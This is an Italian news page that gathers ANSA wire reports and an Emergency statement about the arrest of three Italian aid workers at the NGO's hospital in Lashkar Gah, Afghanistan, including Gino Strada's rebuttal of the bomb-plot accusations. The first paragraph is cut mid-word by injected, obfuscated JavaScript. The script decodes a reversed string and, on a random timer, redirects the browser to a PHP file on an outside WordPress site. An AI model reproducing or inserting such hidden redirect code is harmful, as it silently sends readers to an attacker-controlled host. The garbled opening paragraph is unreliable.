Caso Emergency. Gino Strada: "Siamo testimoni scomodi. Presto una nuova offensiva militare"

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Ascolta qui nella provincia meridionale di Helm (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and. Tre dei nostri operatori, Matteo Dell’Aira, Marco Garatti e Matteo Pagani, cittadini italiani, sono stati prelevati attorno alle 16.30, ora afgana.
Non siamo finora riusciti ad avere un contatto telefonico con loro. Nell’unico contatto avuto con uno dei cellulari in uso ai nostri operatori ha risposto una persona che si è qualificata come ufficiale delle forze armate britanniche e che ha detto che gli italiani stavano bene ma che – al momento – non si poteva parlare con loro.
Altri cinque dei nostri operatori, tra cui quattro italiani e un indiano, sono al momento nell’abitazione dello staff internazionale e sono in costante contatto telefonico con il nostro staff a Milano.
Né le autorità afgane né rappresentanti della coalizione internazionale si sono messe in contatto con noi per spiegarci le ragioni di questo prelevamento.
Abbiamo appreso da un lancio di agenzia dell’Associated Press che alcune persone, tra cui cittadini afgani e “due medici italiani”, sarebbero state arrestate con l’accusa di avere complottato per uccidere il governatore della provincia di Helmand.
L’accusa ci sembra francamente ridicola e siamo assolutamente certi che la verità verrà presto accertata.
Fermo restante la libertà del governo afgano, delle forze di polizia afgane e dei servizi di sicurezza di svolgere tutte le indagini del caso, chiediamo l’assoluto rispetto dei diritti dei nostri operatori, locali e internazionali. Si tratta di persone che da anni lavorano, per assicurare cure alla popolazione afgana. Chiediamo pertanto di rispettare i loro diritti, per primo il diritto di comunicare con noi e farci sapere dove si trovano e come stanno.

Emergency è presente in Afganistan dal 1999 con tre centri chirurgici, un centro di maternità, una rete di 28 centri sanitari.
A Lashkar-gah, Emergency è presente dal 2004 con un centro chirurgico per vittime di guerra, che in questi anni ha curato oltre 66mila persone.

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Di seguito i lanci Ansa sul sequestro

MILANO – “E’ iniziata una guerra preventiva per togliere di mezzo un testimone scomodo prima di dare il via ad un’offensiva militare in quelle regioni”. Lo ha detto Gino Strada, il fondatore di Emergency, in una conferenza stampa a Milano sulla vicenda dei tre operatori dell’organizzazione umanitaria arrestati in Afghanistan. “I nostri medici – ha proseguito –  sono stati rapiti dalla polizia del governo Karzai, quel governo difeso dalla coalizione internazionale della quale fa parte anche l’Italia. La coa1izione internazionale è li a difendere quel governo”.

Intanto l’ambasciatore italiano a Kabul Claudio Glaentzer, secondo quanto si apprende da fonti della Farnesina, ha incontrato stamani i tre operatori di Emergency fermati ieri in Afghanistan e li ha trovati “in buone condizioni”. L’infermiere Matteo Dell’Aira (coordinatore medico), il chirurgo d’urgenza Marco Garatti, veterano dell’Afghanistan e il tecnico della logistica Pagani, secondo quanto si è appreso, sono ancora in stato di fermo. I tre italiani al momento si trovano in una struttura dei servizi di sicurezza afghani.

STRADA, C’E’ VIDEO CHE MOSTRA SOLDATI ISAF – Gino Strada, nel corso della conferenza stampa ha ribadito, il coinvolgimento nell’operazione per l’arresto del personale di Emergency dei soldati Isaf. “C’é un video – ha spiegato Gino Strada – che mostra la presenza, fuori e dentro l’ospedale, delle truppe Isaaf”. In precedenza Cecilia Strada, presidente di Emergency, aveva ricordato che in un contatto telefonico di ieri, subito dopo aver appreso dell’arresto, era stato spiegato ad Emergency che i medici e gli infermieri erano stati prelevati dai servizi segreti afgani. La Strada ha quindi raccontato di una telefonata fatta su un cellulare di uno degli arrestati al quale ha risposto un soldato britannico appartenente all’Isaf. “C’é un video – ha ribadito Gino Strada – che mostra i soldati britannici non solo fuori dall’ospedale per un cordone di protezione ma anche all’interno”. Alla domanda se l’Italia era informata dell’operazione, Strada ha replicato: “chiedetelo alla Farnesina”.

“Qualcuno ha messo in piedi questa montatura perché vuole che Emergency, un testimone scomodo, lasci l’Afghanistan. Il regista non è solo afgano”. Lo ha detto Gino Strada parlando dell’arresto di ieri del personale dell’ospedale di Laskhar Ghar. “Emergency – ha spiegato Strada – fa vedere una cosa molto semplice: nonostante tutta la demagogia sulla politica delle missioni di pace, anche se oggi si ammette che siamo lì a far la guerra, fa vedere i risultati della cosiddetta guerra al terrorismo. Il 40% dei feriti sono bambini al di sotto dei 14 anni”. “Noi – ha proseguito Strada – abbiamo chiesto un corridoio umanitario per evacuare i feriti ma loro hanno fatto un cordone, che chiamano stranamente sanitario, che non consente di farli arrivare ad una struttura sanitaria”. Alla domanda come possono essere entrate le armi nell’ ospedale, Strada ha spiegato: “se qualcuno di noi volesse introdurre una pistola in un qualsiasi ospedale italiano lo potrebbe fare in dieci minuti. C’é sempre la possibilità di corrompere qualcuno e che qualcuno la depositi al momento della perquisizione”. Gino Strada ha quindi spiegato che in ogni ospedale di Emergency ci sono cartelli con la scritta: “niente armi”. “Ma quale italiano – ha aggiunto – che ha un minimo di senso comune può pensare che un medico vada in Afghanistan per far saltare con il tritolo il governatore di una provincia afgana? Mi sembra tutto grottesco”.

STRADA, E’ SCATTATA LA GUERRA AD UN OSPEDALE – “E’ scattata una guerra ad un ospedale”. Lo ha detto Gino Strada nel corso di una conferenza stampa per fornire i dettagli sugli arresti di ieri dei medici di Emergency in Afghanistan. “La cosa – ha spiegato – non mi sorprende perché la logica della guerra è diversa dalla nostra. Nella guerra un ospedale é qualche cosa di strano e di anomalo perché cura e cerca di salvare le vite invece di distruggerle”. Gino Strada ha quindi raccontato che in Afghanistan sono state eseguite in questi anni 60 mila visite ambulatoriali e ci sono stati 10 mila ricoveri. “Abbiamo curato feriti grazie al rispetto delle convenzioni internazionali. Fino a poco tempo fa i trattati venivano rispettati. Anche quando c’era il regime filo-sovietico, i mujaddin, che oggi sarebbero chiamati ribelli, venivano portati in ospedale, curati e riaccompagnati da dove erano venuti. Oggi tutto questo non è possibile. Dopo i bombardamenti non è stato neppure possibile aprire un corridoio umanitario”. “Si tratta di un’aggressione grottesca e ingiustificata che non trova una spiegazione razionale”.

STRADA, DA ITALIA 2 MLN/GIORNO PER DIFESA KARZAI
–  “L’Italia fa parte della coalizione internazionale ed è in Afghanistan con tremila soldati per cui paghiamo circa 2 milioni di euro al giorno nonostante la situazione del nostro Paese”. Lo ha detto Gino Strada commentando l’arresto di ieri del personale di Emergency. “Ogni giorno – ha aggiunto – 2 milioni di euro dello Stato italiano vanno per proteggere il governo afgano che arresta o rapisce personale italiano. Fossi un politico ci farei sopra una bella riflessione”. Strada ha quindi ribadito che il personale di Emergency è stato ammanettato e portato via “dopo che l’ospedale è stato circondato da forze afgane e dalle forze della coalizione internazionale Isaaf della quale l’Italia fa parte. E’ una storia contraddittoria”.

STRADA, ITALIANI FACCIANO SENTIRE LA LORO VOCE – “Sarebbe utile che anche gli italiani facessero sentire la loro voce”. Lo ha detto Gino Strada nel corso della conferenza stampa dopo aver spiegato che Emergency è in contatto con la Farnesina. “Il ministro Frattini – ha spiegato Strada – è informato, noi siamo in contatto con la Farnesina e ci auguriamo che il governo faccia tutto il possibile”.

COGNATO DELL’AIRA, VICENDA SI CONCLUDERA’ PRESTO – “Siamo ottimisti sul fatto che la vicenda si concluderà presto e la presenza di un rappresentante delle autorità italiane ci conforta”: commenta così stamane il sindaco di Silea (Treviso) Silvano Piazza, cognato di Matteo Dell’Aira, uno dei tre operatori di Emergency arrestato dalla polizia afghana, la notizia della visita dell’ambasciatore Claudio Glaentzer. “E’ la prima notizia buona – aggiunge il marito di Nicoletta Dell’Aira, sorella dell’infermiere trevigiano – che riceviamo da ieri, da quando abbiamo saputo dell’arresto”. Piazza giudica “‘assurdo” l’arresto e le sue motivazioni: “”chi è lì lo fa per curare i malati – sottolinea il cognato di Dell’Aira – non ha tempo da perdere con altre stupidaggini”.

FERMATI ITALIANI EMERGENCY,ACCUSA COMPLOTTO – Preparavano un piano per uccidere il governatore della provincia di Helmand con un attentato kamikaze e nascondevano in una stanza dell’ospedale sette giubbotti carichi di esplosivo, bombe a mano, armi e munizioni: con queste pesantissime accuse i servizi segreti afghani hanno arrestato tre operatori italiani di Emergency – un medico, un infermiere e un tecnico della logistica – e sei afghani che lavorano nell’ospedale dell’associazione umanitaria fondata da Gino Strada a Lashkar Gah, nel sud dell’Afghanistan.

Un’accusa che Emergency respinge con fermezza, definendola ”assolutamente ridicola”. ”E’ come se in Italia si facesse circolare la voce che Don Ciotti sta complottando per uccidere il papa” tuona Gino Strada, che poi si rivolge direttamente al ministro degli Esteri Franco Frattini. ”La Farnesina non puo’ tirarsi fuori. E’ vero che il progetto che Emergency sta portando in Afghanistan non e’ finanziato dalla cooperazione”, come precisato da fonti della Farnesina, ”ma ha ricevuto la ‘conformita” del ministero degli Esteri”, e dunque il ministro deve intervenire per far ”immediatamente rilasciare i nostri operatori”. Richiesta a cui Frattini non risponde ufficialmente anche se dalla Farnesina si afferma che si sta seguendo la situazione e si ribadisce ”la linea di assoluto rigore contro qualsiasi attivita’ di sostegno diretto o indiretto al terrorismo sia in Afghanistan cosi’ come altrove”. Allo stesso tempo, inoltre, si riconferma ”il piu’ alto riconoscimento” del ministero, ”al personale civile e militare impegnato in Afghanistan per le attivita’ di pace”. L’irruzione nell’ospedale di Emergency, scattata attorno alle 16.30 locali, sarebbe stata decisa dalle forze di sicurezza afghane dopo una soffiata arrivata da un informatore: un gruppo di talebani che si nasconde in Pakistan avrebbe finanziato un piano per uccidere il governatore Gulab Mangal, che nei prossimi giorni avrebbe dovuto visitare proprio la struttura di Lashkar Gah. Una versione confermata dallo stesso Mangal: ”stavano pianificando degli attentati a Lashkar Gah e il loro primo bersaglio ero io”. Per avere la collaborazione degli uomini di Emergency, ha poi spiegato il portavoce provinciale Duad Amadi, i talebani ”avrebbero pagato una forte somma”, quantificata in 500mila dollari. Che il complotto fosse gia’ in una fase avanzata sarebbe confermato, sostengono gli afghani, dal ritrovamento di armi ed esplosivo all’interno dell’ospedale. Secondo le autorita’ locali, nell’irruzione sono stati recuperati sette giubbetti per attacchi suicidi, nove granate, cinque fucili e munizioni varie. In manette sono cosi’ finiti i tre italiani: l’infermiere Matteo Dell’Aira (coordinatore medico); il chirurgo d’urgenza Marco Garatti, da oltre dieci anni nell’associazione, veterano dell’Afghanistan; e il tecnico della logistica Pagani (per il momento non e’ ancora noto il suo nome di battesimo). Per gli afghani sono ‘combattenti rivoltosi stranieri’, un’accusa punita con la pena di morte. ”Sono accuse assurde” le bolla Gino Strada. ”E’ la solita storia: Emergency in Afghanistan, e soprattutto in quella regione, e’ un testimone scomodo” degli atti compiuti dalle ”forze di occupazione e da una ‘specie’ di governo” nei confronti della popolazione. Strada sottolinea pero’ di ”non poter escludere” la presenza di armi in ospedale. ”Come non posso escludere – aggiunge pero’ – che qualcuno possa entrare con una pistola in un qualunque ospedale italiano”. Fonti italiane qualificate in Afghanistan ritengono comunque non addebitabile certo ad Emergency come associazione la presenza di armi in ospedale. ”Bisognera’ vedere le singole responsabilita’, ma non si puo’ escludere – sottolineano le fonti – che si tratti di una sorta di ritorsione per qualcosa avvenuto nei giorni scorsi o perche’ qualcuno di loro e’ andato a ficcare il naso dove non doveva o ha prestato soccorso alla persona sbagliata”. Ipotesi che, indirettamente, non nega lo stesso portavoce di Emergency Maso Notarianni. ”Stiamo operando in una situazione difficile visto che nella provincia di Helmand e’ in corso da settimane un’operazione militare che ha colpito molti civili, che spesso non potevano ricevere alcun soccorso”. Per avere piu’ chiari i contorni della vicenda bisognera’ attendere i prossimi giorni. Mentre sembra definitivamente chiarito il livello di coinvolgimento dell’Isaf, la forza internazionale in Afghanistan. Secondo Emergency – ma anche per il portavoce provinciale di Helmand Duad Ahmadi – la Nato ha partecipato in maniera concreta all’operazione. ”Sappiamo per certo che erano presenti anche loro: nell’ospedale – spiega Notarianni – sono entrati uomini della National Security mentre uomini dell’Isaf sono rimasti fuori. E ne siamo anche certi perche’ al telefono di uno dei nostri operatori ha risposto una persona che si e’ qualificata come un ufficiale dell’Isaf, dicendo che i nostri stavano bene”. Il portavoce ufficiale della forza multinazionale in Afghanistan, il generale canadese Eric Trembley, afferma invece che l’operazione ”e’ stata realizzata dalle forze di sicurezza afghane” e dunque ”consiglio di rivolgersi a loro o all’ambasciata d’Italia per conoscerne i particolari”. Qualificate fonti italiane la spiegano cosi’: l’arresto e’ stato eseguito esclusivamente da
gli afghani con il supporto della ‘Task Force Helmand – Usa’ dell’Isaf.

L’INFERMERE FERMATO: LA GENTE QUI HA PAURA – ”Da qualche giorno in citta’, a Lashkargah, capoluogo della provincia afghana dell’Helmand, si viveva in uno stato di calma, ma ”con la bomba di oggi, e’ tornata la paura. La gente ha paura di uscire, c’e’ il rischio di saltare in aria anche solo per andare a fare la spesa”. Parlava cosi’ da Lashkargah il 23 febbraio scorso, contattato telefonicamente dall’ANSA, Matteo Dell’Aira, uno dei tre operatori di Emergency arrestati oggi. Quel giorno nella citta’ afghana era esploso un ordigno che aveva ucciso sette persone. A seguito dell’esplosione furono portati all’ospedale della ong italiana, che e’ centro di riferimento per i feriti di guerra nella zona, tre morti e 19 feriti. Dell’Aira sottolineava che quello era certamente un momento eccezionale ma di continuo l’ospedale accoglie feriti di guerra e li cura. ”Undici feriti sono ancora ricoverati – segnalava Dell’Aira – gli altri li abbiamo gia’ dimessi. Tutti avevano ferite causate da schegge di bomba. Ci hanno raccontato che la bomba era stata collocata in un contenitore di plastica vicino ad una fermata dell’autobus”. Fra i feriti, giovani ed anziani, lavoratori del commercio, panettieri, fruttivendoli. ”Abbiamo sentito l’esplosione intorno alle 10:30-10:40 – proseguiva l’operatore umanitario – dopo 20 minuti sono arrivati tutti insieme i feriti. Sappiamo che quattro persone sono morte sul posto e sono state portate all’obitorio dell’ospedale pubblico. Dopo circa un’ora l’emergenza era finita. Non finisce qui pero’ il dramma della gente”. ”Dopo l’ultimo attentato del 5 febbraio – spiegava ancora – c’era abbastanza calma in citta’, diversamente da quanto si vive in altre zone del paese dove c’e’ sempre guerra. La bomba fatta saltare oggi ha fatto tornare la paura. La gente e’ disillusa, e’ stanca. Vive in condizioni gia’ precarie, non ha nulla. Vive un forte disagio ed anche il poco che ha sembra sempre a rischio. Infatti, pensare che uscire anche solo per prendere un autobus, per andare a fare la spesa o andare al lavoro, puo’ rappresentare un rischio per la vita, che si puo’ saltare in aria, non e’ vita. Il rischio di essere uccisi e’ reale e frena qualunque progetto per il futuro. Davvero, qui non si pensa futuro, non si hanno progetti. Al massimo, per essere ottimisti, si pensa alle successive 24-48 ore”.

Fonte Ansa

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